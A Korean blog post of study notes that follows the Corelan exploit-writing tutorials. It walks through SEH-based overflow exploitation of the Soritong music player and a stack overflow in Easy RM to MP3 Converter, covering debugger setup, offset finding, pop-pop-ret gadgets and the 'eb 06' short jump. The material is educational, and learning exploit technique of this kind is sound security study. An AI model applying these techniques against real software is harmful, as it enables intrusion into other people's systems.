https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

 

Exploit writing tutorial part 3 : SEH Based Exploits | Corelan Team

In the first 2 parts of the exploit writing tutorial series, I have discussed how a classic stack buffer overflow works and how you can build a reliable exploit by using various techniques to jump to

www.corelan.be

서문

이번 포스팅은 위 글의 원문을 따라하면서 공부해보는 포스팅입니다.

Part1에서 바로 Part3로 넘어갔는데, Part2는 기존 bof에서 shellcode로 점프하는 다양한 방법들을 소개를 합니다.

 

물론 자만하면 안되지만, 약간 어느정도 아는 내용이기도 하고 해서 잘 모르는 SEH관련 내용인 part3로 바로 넘어왔습니다.

 

저번 포스팅에서 Windows XP및 어느정도 개발 환경을 구축을 한 상태이므로, 거기서 추가적으로 환경 구축을 해야 하는 것들만 설명하면서 넘어가도록 하겠습니다.

 

이번 포스팅에서는 SEH Based Exploit이라는 새로운 개념을 이용한 공격 코드를 작성하는 것을 다루는데, SEH는 Windows에서만 있습니다. 아마 리눅스에도 비슷한 역할을 하는 녀석이 있겠지만 SEH라는 이름과 매커니즘은 윈도우즈 계열 OS에서만 쓰이는 녀석이라고 할 수 있겠지요.

 

따라서 저처럼 리눅스 Exploit을 공부하다가 윈도우로 넘어오신 분들은 생소하실 것이라 생각합니다.

 

환경설정

Windows XP에서 동작하는 C 컴파일러 설치

중간에 예제코드를 빌드한 뒤 확인해보는 과정이 있어서 C 컴파일러를 하나 구해야 한다.

 

구글링을 해보니, MSVC++ 2008 Express가 Windows XP에서 동작한다고 한다.

맨 위의 링크를 누르니, 바로 exe파일이 다운로드 된다. 마소에서 공식적으로는 지원하지 않는데 링크는 남아있어서 받을 수 잇는 모양이다.

Windows XP 가상머신에서 실행해서 설치를 해보자.

다행히 되는 것 같은 느낌이다.

 

조금 오래 걸리는 것 같긴한데, 그래도 되는게 어딘가 하는 마음으로 기다리고 있다.

 

좀 기다려 보니 설치가 잘 되었다.

 

 

ollydbg (올리디버거) 설치

구글링하면 올리디버거 공식홈페이지에서 다운로드 받을 수 있다.

최신버전인 1.10 버전을 받아야지 플러그인을 사용할 수 있어서, 최신버전을 받았다.

XP에서 압축을 풀고 실행해보았다.

 

Ollygraph

 

그리고 코어랜 블로그에서 추천하는 올리디버거 플러그인인 ollygraph를 설치해보자.

 

근데 wingraph32.exe라는 IDA에 있는 분석 툴이 있어야 한다.

 

후 이젠 구버전 IDA까지 구해야 한다니 이건 좀 에반거같긴하다.

못구했기 때문에 일단 안쓰는것도 괜찮을듯 ㅠ

 

그래도 일단 플러그인 설치를 하자면 아래와 같이 진행하면된다.

 

http://www.openrce.org/downloads/details/173/OllyGraph

 

OpenRCE

File Information OllyDbg Plugins Yes 18,014 Download from OpenRCE MD5 Sum: DCE10D99E7B21D6EAE6D1B06F378CE80 Last updated on Aug 2, 2005 with the following description: Initial release Author Information Description This plugin allows you to generate VCG-co

www.openrce.org

OpenRCE라는 곳에서 다운받을 수 있다.

 

압축을 푼 다음 위에 있는 ollygraph 안에 있는 모든 파일들을 Ollydbg가 있는 폴더에 다 같이 넣어주면 플러그인이 설치된다고 한다.

 

올리디버거를 재시작 하면 Plugins에 Ollygraph가 보이게 된다.

 

SEH(Structured Exception Handling)이란?

구글에 SEH를 치면 꽤 많은 자료가 나오긴 합니다. 위키백과에도 한글로 된 문서가 있네요. Microsoft에서 예외 처리를 하는 루틴이라고 볼 수 있습니다. 그리고 이 SEH라는 예외 처리 매커니즘은 라이선스에 특허권이 있어서 오픈소스 운영체제들은 이 SEH 기반 매커니즘을 사용하지 않는다고 합니다. 따라서 리눅스에서 하는 방식과 다를 수 밖에 없군요.

 

SEH에 대한 자세한 설명을 한 글들은 다른데도 많을 것으로 생각됩니다. 저는 상단에 표기된 코어랜 튜터리얼을 따라하는 것에 포커스를 맞추어 보도록 하겠습니다.

 

예외 처리(Exception handling)이란?

프로그램이 실행중에는 여러 예외가 나타날 수 있지요. 0으로 나눈다던지, 스택오버플로가 나서 segmentation fault가 난다던지 등등이 일어날 수 있습니다.

어플리케이션단에선 try ~ catch 구문으로 어느정도 예외를 처리할 수 있는데, 이 앱단에서 예외를 다 처리하지 못하면 OS단으로 넘어가게 됩니다.

 

이 OS단에서 예외를 처리할 때 윈도우는 SEH라는 것에 기반해서 처리를 하게 됩니다.

 

근데 이 예외 처리하는 루틴들의 주소가 스택에 저장이 되게 됩니다.

코어렌 블로그에서 퍼온 이미지입니다.

 

Local vars에서 buffer overflow가 나게 되면, 지역변수 밑에 있는 saved ebp, saved eip(ret addr) 및 함수 인자들과 이런 것들을 다 덮어쓰게 되는데, 맨 마지막에 address of exception handler가 보이지요?

 

요녀석 까지 원하는 다른 값으로 덮어쓰게 되면, 나중에 Exception이 발생했을때 내가 원하는 루틴으로 점프를 뛰게 만들 수 있다는 것이 핵심입니다.

 

SEH로 넘어가게 되면, 무슨무슨 앱이 크래시 나서 꺼졌습니다~ 라는 OS단의 에러메시지가 나게 되는데, 따라서 훌륭한 개발자라면 SEH로 넘어가기 전에 개발 언어 자체에 있는 예외 처리 루틴에서 최대한 처리하도록 해주는게 좋습니다.

 

기본적으로는 이러한 개발자가 만든 예외 핸들러가 먼저 돌고, 이 녀석들이 다 예외를 제대로 처리하지 못하면 최후의 보루로 Windows OS에서 제공하는 SEH가 쓰이게 되는 것이지요.

 

SEH 채인 구성요소의 구조

SEH는 스택 프레임의 구성요소입니다. 따라서 스택 프레임에 저장되지요.

대충 구조를 보자면, SEH 구조체는 8바이트 크기이고 4바이트 요소 2개로 구성됩니다.

하나는 다음 SEH 구조체의 주소이고, 하나는 예외 핸들러의 주소입니다. 그래서 만약 지금 핸들러로 예외를 처리하지 못하면 다음 핸들러로 넘어가는 식이고, 따라서 Single Linked list형태가 됩니다. 

그리고 이 SEH 체인의 첫번째 주소를 가리키는 포인터는, 앱의 main 함수가 있는 곳의 데이터 블럭, 혹은 TEB(Thread Environment Block, 쓰레드 정보를 가지고 있는 OS 자료구조, TIB; Thread information block라고도 불림)에 저장됩니다.

그리고 요녀석(TEB)은 FS라는 세그먼트 레지스터가 가리키고 있나봅니다. 그래서 SEH 체인은 FS:[0] 체인이라고 불리기도 한답니다.

위키에 안그래도 잘 설명이 되어 있네요. FS:[0]에는 SEH 프레임의 주소가 4바이트로 저장되어있다고 합니다.

 

FS, GS는 x86 아키텍쳐에서는 그냥 여분의 세그먼트 레지스터인데, Windows 운영체제에서는 쓰레드 관련된 정보들을 가리키는데 사용하는 것 같습니다.

 

그래서 인텔 CPU머신에서는 SEH 코드를 디스어샘블 해보면, move DWORD ptr from FS:[0]와 같은 명령어를 볼 수 있습니다. 요 명령어로 예외 핸들러가 쓰레드에 설정되고 에러가 났을때 처리할 수 있게 되는 것이지요. 이 명령어의 기계어 opcode는 64A64A100000000 인데요, 만약 이 코드를 못봣다면, 해당 앱이나 쓰레드는 예외 핸들러가 없는 것입니다.

 

코어랜에서 제공한 예제코드를 한번 빌드를 해보겠습니다.

MSVC++ 2008 Express를 켜서, Win32 Console App 프로젝트를 생성을 합니다.

 

뭔가 옛날 생각이 새록새록 나네요. 프로젝트 명은 sehtest로 했습니다.

곧이어서 Empty Project에 체크를 하고 Finish를 한 뒤 Hello world를 찍어보겠습니다.

Xp에서 코딩하는 맛이란 참 특이하네요. 그러면 corelan 예제코드를 한번 빌드해보도록 하겠습니다.

빌드를 합니다.

바로 실행을 하니 Exception이 뜹니다. 아마 argv[1]이 존재하지 않아서 그런 것 같네요. Exception handler가 호출이 된 모습도 보입니다.

argv[1]를 넣어서 실행하니 App launched만 뜹니다. 예외가 발생안하고 그런 모습이지요.

일단 그러면 코어랜 블로그에서는 저 바이너리를 디버거 붙여서 보라고 했으니 한번 그렇게 해보도록 하겠습니다.

 

Windbg를 킨 뒤, File - Open Executable로 sehtest.exe를 열어보았습니다. 실행을 해버리면 크래시가 나니 이 상태만 보라고 하네요.

sehtest.exe는 00400000와 0041b000 범위의 주소에 할당되어 메모리에 올라갔네요. 여기서 64 A1을 한번 찾아보겠습니다.

잘 있네요. Exception Handler가 있다는 걸 알 수 있습니다. TEB를 한번 까봅시다. FS 레지스터가 가리키는 메모리를 보면 됩니다. 

0c fd 12 00가 첫번째 SEH 구조체(Record)임을 알 수 있습니다. 엔디안을 고려해서 0x12fd0c가 주소가 되겠지요.

첫번째 SEH 레코드 입니다. 첫 4바이트가 0xffffffff로 SEH의 마지막 레코드이라는 것을 나타내는데, 이게 프로그램이 실행이 되지 않아서 이런거라고 합니다. F5를 누르거나 명령어 g를 쳐서 프로그램을 실행시킨 뒤 다시 확인해볼 수 있습니다.

실행을 하고 SEH 첫번째 레코드와 두번째 레코드의 모습입니다.

마지막 레코드는 0xffffffff로 끝나는 걸 알 수 있지요.

 

올리디버거로 보면 이게 더 쉽게 보이게 되어있다고 합니다.

 

View - SEH Chain을 누르면 다음과 같게 쉽게 볼 수 있습니다.

첫 SEH 레코드가 0x12ff58에 있다는걸 알려줍니다.

여기서 두번째 SEH Record의 SE handler가 0x411078 ExceptionHandler()라고 합니다. 한번 찾아가봅시다.

또 jmp를 하는군요. 블로그랑은 좀 다르게 되어있긴 합니다.

 

대충 이런식이라 하네요. 그래서 Exception이 발생하면 맨 위에 SEH Record부터 착착 하고 넘어가고, 거기서 처리를 못하면 다음 녀석으로 가고 이런식으로 반복이 된다고 합니다.

그리고 마지막 SEH Record는 윈도우에서 제공하는 Exception handler라고 합니다.

 

최종보스인 운영체제에서 처리를 하는 경우가 되는 거죠.

 

익스플로잇 작성

 

익스플로잇 전략

이번에는 소리통이라고 하는 고전 프로그램의 취약점을 익스플로잇 해볼건데, 이때 SEH를 이용해서 공격한다고 합니다.

공격 전략은 다음과 같습니다.

 

선행조건들입니다.

1. Exception을 발생시킵니다. 그래야지 SEH를 이용해먹을 수 있거든요.

2. 다음 SEH Record의 포인터를 jmp 코드로 덮어써놓습니다.

3. SE Handler의 포인터를 2에서 덮은 점프코드를 실행하도록 다른걸로 덮어놓습니다.

4. 쉘코드는 덮어쓰여진 SE Handler 바로 뒤에 있어야 합니다.

익스플로잇이 발동되는 시퀀스를 그린 그림입니다. (1)에서 Exception발생이 되서 SEH로 넘어오게 됩니다.

그리고 SE Handler로 넘어가는데, 요녀석은 pop pop ret 가젯으로 덮어쓰여져 있습니다. 

Exception Handler에서 다음 SEH Record의 주소는 esp+8에 저장된다고 합니다. 그래서 pop pop ret을 하면 다음 SEH Record의 주소로 뛰게 되는데, 이 주소 역시 아까 쉘코드로 jmp뛰는 코드로 덮어놓았지요.

그렇게 연계 공격이 되는 것입니다.

 

esp+8에 다음 SEH Record 주소가 저장되는 거는, Exception handler 작성하는 Convention인 것 같습니다. 소스코드 레벨이든 어샘블리 레벨이든간에 말이죠.

 

크래시 재현

이번에 쓸 취약 프로그램은 소리통이라는 프로그램입니다. 

 

http://pds.dnavi.info/windows95/121987

 

DNAVI PDS - Windows95/98 - 소리통

소리바다를 개발한 소리나라에서 개발한 음악플레이어 소리통입니다. 인터페이스가 독특한 플레이어하고 스킨도 변경이 가능합니다. 다운로드 : sori10k.exe 홈페이지 : http://sorinara.com/ko/soritong/index.html

pds.dnavi.info

위 링크에서 다운받을 수 있습니다. 링크를 얻는데에는 블랙펄의 콘치님이 작성한 블로그 글이 도움이 되었습니다.

 

여기서 취약점이 터지는 부분은 프로그램의 UI가 저장되는 txt파일에서 bof가 터진다고 합니다.

설치 경로/Skin/Default/UI.txt가 있습니다. 

저녀석을 덮어써보도록 하지요.

 

A를 5천개 넣어서 UI.txt를 만든 뒤 실행을 해보도록 하겠습니다.

그냥 켜졌다가 조용히 꺼지게 되네요.

 

코어랜 블로그 말로는 Exception이 나서 Exception Handler로 넘어갔는데, 적절한 SEH를 못찾아서 그런거라고 합니다. 왜냐면 SEH Record도 우리가 덮어써 버렸기 때문이지요.

 

이제 그러면 디버거를 붙여서 어떻게 된 건지 자세히 알아봐야겠지요?

 

디버거로 분석 - 올리디버거

올리디버거나 이뮤니티 디버거를 이용해서 소리통을 실행시킨 뒤, play 버튼을 눌러서 앱을 실행시켜 봅시다.

Loading Skin에서 앱이 멈춰있습니다.

디버거도 Paused라고 뜨네요.

 

SEH Chain을 확인해보겠습니다.

 

정말로 41414141로 덮어져 있군요.

 

블로그에서 보면, Current Stack Frame을 일단 살펴보네요.

0xFFFFFFFF가 보이는 걸로 봐서 SEH 체인의 끝이라고 보고 있습니다. 바로 위에서 본 SEH Chain 주소랑은 다른데,

아마 다른 스택 프레임이라서 그런 것 같네요. 창으로 별도로 뜬 SEH Chain 주소는 주소값이 더 큽니다. 따라서 스택은 아래로 자라므로 Caller function의, 즉 더 부모 함수의 스택 프레임인 것 같습니다.

 

그리고 FFFFFFFF가 가리키는 0x7e41882a가 기본 Exception handler의 주소인걸로 보이네요.

그리고 해당 주소는 USER32.DLL에 있는 주소입니다. View - Executable Modules를 누르면 나오는 창입니다.

 

그리고 크래시가 난 때에 스택프레임의 더 높은 주소들을 뒤져봐도 별다른 예외 핸들러가 보이지 않는 것으로 보아서, 적어도 크래시를 낸 함수는 예외 핸들러 루틴이 없다고 가정을 하네요.(블로그에서요)

이미 덮어쓰여져서 꼭 그런지는 모르겠는데 말입니다.

 

디버거로 분석 - Windbg 윈디버거

아까 올리디버거로 크래시난 상황을 SEH 을 분석하는 것을 윈디버거로 똑같이 해보겠습니다.

 

윈디버거로 소리통을 킨 뒤 명령어 g (go)를 친 뒤 엔터로 실행을 시켜보겠습니다.

Exception이 일어나기 전에 windbg가 알아서 멈춰버리는군요.

 

스택을 좀 구경해보면, 0xffffffff로 SEH Chain의 마지막 부분이 보입니다.

!analyze -v 명령어를 한번 사용해보도록 하지요.

이 외에도 엄청 긴 값이 나옵니다. 어떤 Exception 상황인지 등등이 나오네요.

 

!exchain 이라는 명령어를 쳐봅시다.

Exception handler를 덮어썻다는 걸 알 수 있네요.

 

여기서 g 명령어를 치거나, F5를 눌러서 진행을 해보면 EIP가 41414141로 변경되는 것을 알 수 있습니다.

레지스터값에 쉘코드 주소를 바로 박는다면?

레지스터에 쉘코드 주소를 넣고 바로 점프를 뛴다고 생각해봅시다. 근데 이 방법은 Windows XP SP1 이전에는 가능했지만, SP1 이후부터는 보호기법이 생겨서, exception handling 하기 전에 모든 레지스터의 값들이 XOR되어서 0으로 셋팅됩니다. 그래서 SEH로 넘어가게 되면 레지스터들은 쓸모가 없어지지요.

 

스택 BOF에서 ret 주소 덮어쓰기 보다 SEH 기반 익스플로잇의 장점은?

기존 stack base bof에서 ret addr를 덮어쓰면 간단한데 SEH 기반 익스플로잇을 하는 이유가 무엇일까요?

안정성에서 차이가 납니다. 만약 dll에서 jmp 명령어를 찾지 못한다면 주소를 하드코딩해서 박아서 넘어가야하는데, 이런경우 익스플로잇이 언제는 동작하고 언제는 동작하지 않겠지요.

그리고 버퍼사이즈가 적어서 쉘코드를 박기 힘든 경우에도 고생하게 됩니다.

그래서 스택 bof로 ret 주소를 덮어쓸 수 있다면 더 덮어서, SEH 체인까지 닿을 수 있도록 하는게 좋습니다. 그리고 스택에 있는 ret 주소를 쓰래기 값으로 덮었으면 exception은 어차피 일어나게 되고 SEH exploit으로 변경이 되는 것이지요.

 

SEH 기반 익스플로잇은 어떻게 이루어지죠?

간단합니다. SEH 포인터 주소와 SE 핸들러 주소를 덮어쓰고, 쉘코드를 넣으면 됩니다. 그리고 Exception Handler 내부에서 쉘코드로 뛰도록 하면 됩니다.

대충 위와 같은 그림인데, Exception이 실행이 되면 예외 핸들러 주소가 가리키는 데로 EIP가 이동합니다. 그리고 pop pop ret을 하게 되는데, 예외 핸들러에서는 esp+8에 다음 SEH 주소가 써잇는 스택 메모리의 주소가 써있습니다.

따라서 pop pop ret을 하면 EIP는 다음 SEH 주소가 써잇는 스택 영역으로 가게 되죠.

다음 SEH 주소에 있는 instruction을 실행하게 되는데 여기에 relative jmp instruction opcode가 있으면 요녀석을 실행해서 지금 주소의 4바이트 정도를 앞으로 뛰어넘게 됩니다. 이 jmp instruction opcode가 4바이트 이하의 크기이기 때문에 가능한 것이겠지요. 그러면 예외 핸들러 주소 다음에 있는 쉘코드로 이동하게 되고 쉘코드가 실행되지요.

 

물론 쉘코드는 예외 핸들러 이후에 몇바이트 더 뒤에 두고, jmp opcode를 더 많이 뛰게 해도 됩니다.

 

그럼 익스를 해봅시다

일단 Next SEH Pointer와 SE Handle Pointer를 덮어쓰는 양을 알아내야겠죠? UI.txt에 패턴을 줘서 알아내봅시다.

메타스플로잇에 rulez라는 녀석을 이용해서 만든것 같군요.

 

엔디안 고려하면 패턴은 At6A가 됩니다.

이를 바탕으로 기본 Exploit 코드를 좀 짜보면

위와 같이 대충 됩니다. !exchain이라고 쳣을때 제대로 나오는 것 같네요. g를 한번 더 쳐서 eip가 어떤놈을 가리키는지도 봤는데 정상적으로 ehandler 부분을 가리킵니다.

 

이제 pop pop ret 가젯과 jmp 4 opcode만 알아내서 채우면 익스플로잇이 완성될 것 같습니다.

 

코어랜 블로그에선 findjmp.exe란 녀석을 썻는데, 찾아보니, 깃헙에 있습니다.

https://github.com/nickvido/littleoldearthquake/blob/master/corelan/findjmp/findjmp/bin/findjmp.exe

 

nickvido/littleoldearthquake

littleoldearthquake. Contribute to nickvido/littleoldearthquake development by creating an account on GitHub.

github.com

다운받아서 한번 써보도록 하지요.

 

Player.dll에서 pop pop ret 가젯 중 주소값에 Null byte가 없는 녀석을 사용해봅시다.

촤라락 하고 나온다.

 

이제 그러면 full exploit을 작성하고 실행해보자.

후 성공했다.

 

eb 06 90 90이게 jmp relative 6byte라는 녀석이라는데, 지금으로부터 6바이트 앞으로 뛴다고 한다.

 

이녀석은 내가 skip햇던 part2에 설명이 있는데 short jump(jmp)의 opcode가 0xeb라고 한다. 그리고 그 뒤에 나오는 수만큼 지금 eip에 상대 주소만큼 점프뛴다고 한다.

크흐 드디어 끝!. 이제 잘 수 있다.

 

---------------------------------------------------------------------------------------

https://c9x.me/x86/html/file_module_x86_id_147.html

http://pds.dnavi.info/windows95/121987

https://bpsecblog.wordpress.com/2016/12/15/seh_02/

https://ko.wikipedia.org/wiki/Win32_%EC%8A%A4%EB%A0%88%EB%93%9C_%EC%A0%95%EB%B3%B4_%EB%B8%94%EB%A1%9D

https://go.microsoft.com/?linkid=7729279

https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture#Segment_Registers

https://stackoverflow.com/questions/10810203/what-is-the-fs-gs-register-intended-for

https://bpsecblog.wordpress.com/2016/11/23/seh_01/

https://ko.wikipedia.org/wiki/%EB%A7%88%EC%9D%B4%ED%81%AC%EB%A1%9C%EC%86%8C%ED%94%84%ED%8A%B8%EC%9D%98_%EC%98%88%EC%99%B8_%EC%B2%98%EB%A6%AC_%EB%A9%94%EC%BB%A4%EB%8B%88%EC%A6%98

https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

 

Exploit writing tutorial part 1 : Stack Based Overflows | Corelan Team

Last friday (july 17th 2009), somebody (nick)named 'Crazy_Hacker' has reported a vulnerability in Easy RM to MP3 Conversion Utility (on XP SP2 En), via packetstormsecurity.org. (see . The vu

www.corelan.be

이 글은 위 글을 바탕으로 공부해서 실습까지 해보는 그러한 글입니다.

---------------------------------------------------------------------------------------

 

조만간 윈도우 환경에서 Exploit을 할 일이 있을 것 같으니, 윈도우즈 Exploit 관련 공부를 좀 해 볼까 한다.

 

사실 이 BOF 파트는 리눅스랑 거의 같은 것 같아서 그냥 대충 읽어만 보고 넘어갈려고 했는데, 뭐 컴퓨터 하는 사람이라면 직접 해봐야 알지 않겠는가?

 

무려 10년도 전에 작성된 글이라서 자료가 많이 다르고 할 수 있지만, 열심히 환경 구축해서 따라가보도록 하자.

 

환경구축

Windows XP 32bit

일단 윈도우즈 XP가 필요하다. 버그리포트는 SP2에서 되었지만, 코어랜 글 저자는 SP3에서 했다고 하니 어쨋든 XP와 virtual box를 이용해서 OS환경 구축을 해보자.

 

iso 이미지를 어디서 구해야 할지 모르겠는데, 일단 microsoft 공홈에서는 64bit만 있는 것 같다.

구글링 해보니, 여기서 받을 수 있었다.

https://isoriver.com/windows-xp-iso-download/

 

Windows XP ISO: Windows XP free download (32 & 64 bit) - ISORIVER

Windows XP was released on the 24th of August in 2001. It was probably one of the most interesting products from Microsoft since Windows 95 was released. It’s b

isoriver.com

 

Virtual box에 Windows XP Service Pack 3 32bit ISO를 넣어서 열심히 설치를 해보고 있다.

나오는걸 그냥 엔터엔터 엔터 동의함 엔터엔터 하면 그냥 설치가 된다.

 

XP를 오랜만에 보니 좀 신기한듯.

라이센스 키를 쓰라고 으름장을 놓는데, 인터넷에 구글링해서 아무거나 쳐서 쓰도록 하겠다.

테스트용이기도 하고, 가상머신 안에 설치한것이기도 하고, 이미 판매가 종료된 버전이기도 하니깐, 큰 문제는 없지않을까? 하는 그런상황쓰이다.

 

 

Easy RM to MP3 Converter v2.7.3.700

이게 취약 프로그램인데, 코어랜 홈페이지에서는 다운로드 받으려면 로그인을 하라고 한다.

근데 회원가입 기능이 없다.

 

따라서 그냥 구글링을 해 보았는데, 나름 유명한 프로그램인지 쉽게 구할 수 있었다.

아래 링크로 가면 다운받을 수 있다.

https://easy-rm-to-mp3-converter.en.softonic.com/

심지어 버전도 같다. 굿!

 

이제 저녀석을 Windows XP VM안에다가 설치를 해버리면 될 것 같다.

 

파일 VM에 배포

이제 필요한 파일들을 VM안에 배포를 해야 하는데, 어떻게 옮겨야 할까?

 

안에 IE가 브라우저로 있긴 하지만 매우 오래된 버전이기도 하고, 크롬같은 경우에는 최근 버전들은 호환이 되지 않아서, 별도로 낮은 버전을 구해서 깔아야 한다. 그래서 그냥 호스트에서 필요한 파일들을 받아서 넘기기로 했다.

 

일단 Virtual box Guest 확장을 설치해야 한다.

위에 매뉴를 누르면 슥삭 하고 설치가 시작될 것이다.

중간에 계속 Warning이 뜰건데, 어쨋든 계속한다를 계속 눌러주면 된다.

 

게스트 확장을 설치하면, 파일공유도 되고 해상도 자동 조정도 된다 캬!

 

그리고 공유폴더를 지정하면 Host와 Guest간에 파일 공유가 되게 된다.

 

 

 

호스트 OS 공유폴더에는 필요한 파일을 다운받는 중이고, 게스트 공유폴더에 들어가보니, 다운로드 중인 파일이 보인다.

정상적으로 잘 다운이 되는 중인듯 하다.

 

Windows XP에 파이썬 설치

호스트에서 파이썬 스크립트로 페이로드 파일을 만들어서 넘겨도 되지만, 게스트에서 직접 스크립트를 실행하는 것도 괜찮아보인다. 사실 호스트-게스트간 파일 공유 시 약간 랙이 있어서 조금 답답할 수 있는 것 같다.

 

파이썬 공식 홈페이지를 보니 Python 3.5버전부터는 WinXP나 그 이전 버전에서 호환이 안되는 것 처럼 보인다. 그러니 3.4.1버전을 한번 받아보도록 하겠다.

https://www.python.org/downloads/windows/

가장 하단에 있는 Windows x86 MSI Installer로 파일을 받아보겠다.

다행히 잘 설치되는 것 같다. 그리고 환경변수까지 지정을 해 주자.

 

 

 

 

 

익스플로잇 재현

이제 환경구축은 얼추 끝난 것 같으니까, 취약점을 익스플로잇 해보도록 하자.

프로그램 실행

일단 취약한 프로그램인 Easy RM to MP3 Converter라는 프로그램을 한번 실행시켜보자.

공유폴더에서 바탕화면으로 설치 파일을 옮긴 뒤 실행을 해 보았다. 근데 이게 뭐하는 프로그램인지 아직은 잘 모르겠는데 RM이라는 포맷을 MP3로 변환해주는 그런 프로그램인가보다.

 

일단은 코어랜 블로그에서 \x41를 1만개 넣어서 파일을 만든 뒤 그냥 실행해보았었으니, 나도 똑같이 해보겠다.

코어랜에서는 perl로 스크립트를 짰던거같은데 나는 파이썬으로 짜겠다.

 

일단 crash.m3u파일을 만들었으니 저 파일을 guest vm으로 보내서 실행해보도록 하자.

 

Load를 누른 뒤 crash.m3u파일을 여니 아래와 같이 에러가 뜬다.

 

파일 이름을 덮어쓴걸로 봐서 bof가 일어난 듯 하다.

여기에 A를 2만개를 반복하는 것 까지 저렇게만 버그가 난다고 한다. 근데 3만개가 되면 프로그램 크래시로 종료가 된다.

 

 

Windbg 설치

맨처음에는 올리디버거를 써야 하나 싶었는데, 코어랜 블로그에서는 윈디버거(Windbg)를 쓴다고 했으니, 이번에 안써본 윈 디버거를 한번 써보도록 하겠다.

 

근데 Microsoft 공식 windbg 다운로드 페이지로 가니, Windows SDK를 설치할 때 그 패키지 안에 같이 포함되어있다고 한다. 그중 Debugging Tools for Windows를 고르면 된다고 한다.

 

Win10이전의 버전들은 별도의 페이지가 있다고 한다.

 

근데 해당 페이지로 가보면 Win8과 7까지밖에 없다.

근데 가장 과거인 Win7 SDK를 보면, Win XP도 사용 가능하다고 되어있다. 이를 설치해보도록 하자.

흠 근데 대략 이런 에러가 뜬다. .NET Framework 2.0 redistributable을 다운받아달라고 한다. 

 

구글링을 하니 다운로드 페이지가 뜬다.

서비스 팩 1이라고 뜨긴 하는데, x64는 아닐테니 x86인 요녀석을 한번 받아보자.

 

다행히 설치는 잘 되는 듯 하다. 다시 Win SDK 설치를 시도해보자.

일부 컴포넌트는 설치가 불가능하다고 하는데, 어차피 나는 Windbg만 설치하면 되기 때문에 Ok를 눌러서 진행해본다.

잠시 반응이 없길래 설치가 안되는줄 알았는데, 조금 기다리니 위와 같은 창이 떴다.

Next랑 Agree를 누르니 아래와 같은 창이 나타났다.

Windbg는 당연 Debugging Tools에 있을 거니 체크를 해서 설치를 해주자. 나머지는 다 설치 체크를 해제한뒤 진행해보겠다.

 

근데 설치가 다 된거같은데, 우리의 windbg는 어디있을까...?

 

그래서 찾기로 가서 windbg로 검색해보니 아무것도 안나와서 debug로 검색을 해 보았더니 무언가가 나왔다.

dbg_x86라는 녀석 아이콘을 보니 또다시 설치파일인것 같았다. 더블클릭해서 실행해서 설치를 진행해보자.

 

 

그리고 나서 windbg로 검색을 해보니, windbg가 나타났다.

 

환경구축이 제일 빡샌거같기도 하고. 어쨋든 windbg까지 설치가 되었다.

그리고 코어랜 블로그에서 했던 것 처럼 postmortem debugger로 설정도 해주었다.

post-mortem 뜻을 검색해보니 사후(죽은 뒤)라는 뜻이라서, 아마 프로그램 크래시가 나서 종료되면 그 것들을 처리하는 기본 디버거라는 뜻 인것 같다.

 

그리고 "xxx프로그램이 문제가생겨서 꺼야합니다~"라는 팝업을 안 뜨게 하기위해서 레지스트리도 수정해주었다. 실행 창에서 regedit을 치면 레지스트리 수정 창을 띄울 수 있고, HKLM/Software/Microsoft/Windows NT/CurrentVersion/AeDebug/Auto를 0으로 셋팅하면 된다.

 

<TODO : 제대로 동작하게 하기>

그리고 windbg가 심볼이 없다고 불평하는 것을 막기 위해서 설정을 해준다.

하드드라이브에 폴더를 하나 만들고, c:\windbgsymbols와 같이 만들었다고 치자.

File-Symbol Search Path에 위와 같이 써준다.

근데 동작은 안하는것 같다. ㅠ

크래시 디버깅 - EIP 덮어쓰기

이렇게 설정을 하고 다시 Easy RM to MP3 프로그램을 크래시를 내보자.

 

A가 3만개 들어있는 파일을 열라고 시도하자 다음과 같이 나타난다.

저기서 Debug를 누르면 windbg가 숑 하고 나타날 것이다.

여기서 디버그 버튼을 눌러보자.

Windbg가 나타나고, eip가 41414141이 된 것을 알 수 있다.

 

이걸로 2만개 A는 크래시가 안나고 3만개 A는 크래시가 난다는 점을 이용해서 2만과 3만 사이 어딘가의 크기의 A를 쓰면 bof가 난다는 걸 알 수 있다.

 

이를 이용해서 정확히 얼마 A를 채워야 프로그램이 터지는지를 한번 알아보자.

 

그냥 간단하게 A를 2만5천개, B를 5천개를 넣고 확인, 그리고 그 결과에 따라서 다시 변경해서 확인 이런식으로 반복을 하면 알아낼 수 있다.

 

A를 2만5천개, B를 5천개를 넣으니 EIP가 42424242가 나온다. 즉 5천개인 B의 범위에 있다는 뜻.

 

따라서 25,000 ~ 30,000 사이의 값이다.

25,000 ~ 27,500 사이의 값인것을 알 수 있다. 일종의 바이너리 서치 같은 개념으로 볼 수 있다.

이번에도 42424242에서 터졌으니 B에서 터졌다고 보면 된다.

25,000 ~ 26,500 사이의 값이다.

D의 범위에서 터졌으니 대충 26,000 ~ 26,500 의 범위에 있다.

 

B에서 터졌다. 26,000 ~ 26,150 사이의 범위이다. 계속 쭉쭉 범위가 줄어들고 있다.

 

C의 범위이다.

26,050 ~ 26,100의 범위에 있다. 이러한 식으로 계속 줄여보자.

26,065 ~ 26,080에 있다.

결국 26067의 더미와 + (ret_addr)를 넣으면 eip를 덮어쓸 수 있다는 걸 알 수 있다.

 

이제 쉘코드를 넣은 뒤, 쉘코드로 점프만 뛰면 쉘을 띄울 수 있다.

 

쉘코드 넣을 자리를 찾기

그리고 d esp라고 치면 esp 주소에 있는 메모리 값들을 볼 수 있는데, gdb로 치면 x/x $esp와 비슷한 명령어 인 것 같다. 덮어쓴 eip이후의 값들이 그대로 있다. 

 

코어랜 블로그에서 했던 것 처럼 EIP를 덮어쓴 뒤 esp가 가리키는 곳에 값을 쓰는 부분에 쉘코드를 올리도록 준비를 해 보자. 아래와 같이 m3u파일을 생성해서 실행해보니, 쉘코드의 0~3까지 즉 4byte가 잘리고 나머지 부분이 잘 올라가있다.

이러한 부분도 한번 고려를 해야 한다는 것이다. 아마 잘린 4byte는 saved ebp, 이전 스택 프레임 포인터에 해당할 것이다.

 

따라서 덮어쓴 eip 다음 값 4바이트를 버린 뒤 쉘코드를 올리면 될 것 같다.

 

그래서 아래와 같이 esp 주소로 점프를 하고, esp에는 NOP과 cc로 브레이크 포인트를 잡는 페이로드를 작성해서 실행해 보았다.

그런데 이게 왠걸, esp에는 알수없는 널값들이 좀 있고, 크래시가 또 났다.

 

eip는 잘 뛰었는데 왜그런걸까.

안전하게 쉘코드로 점프하기

 

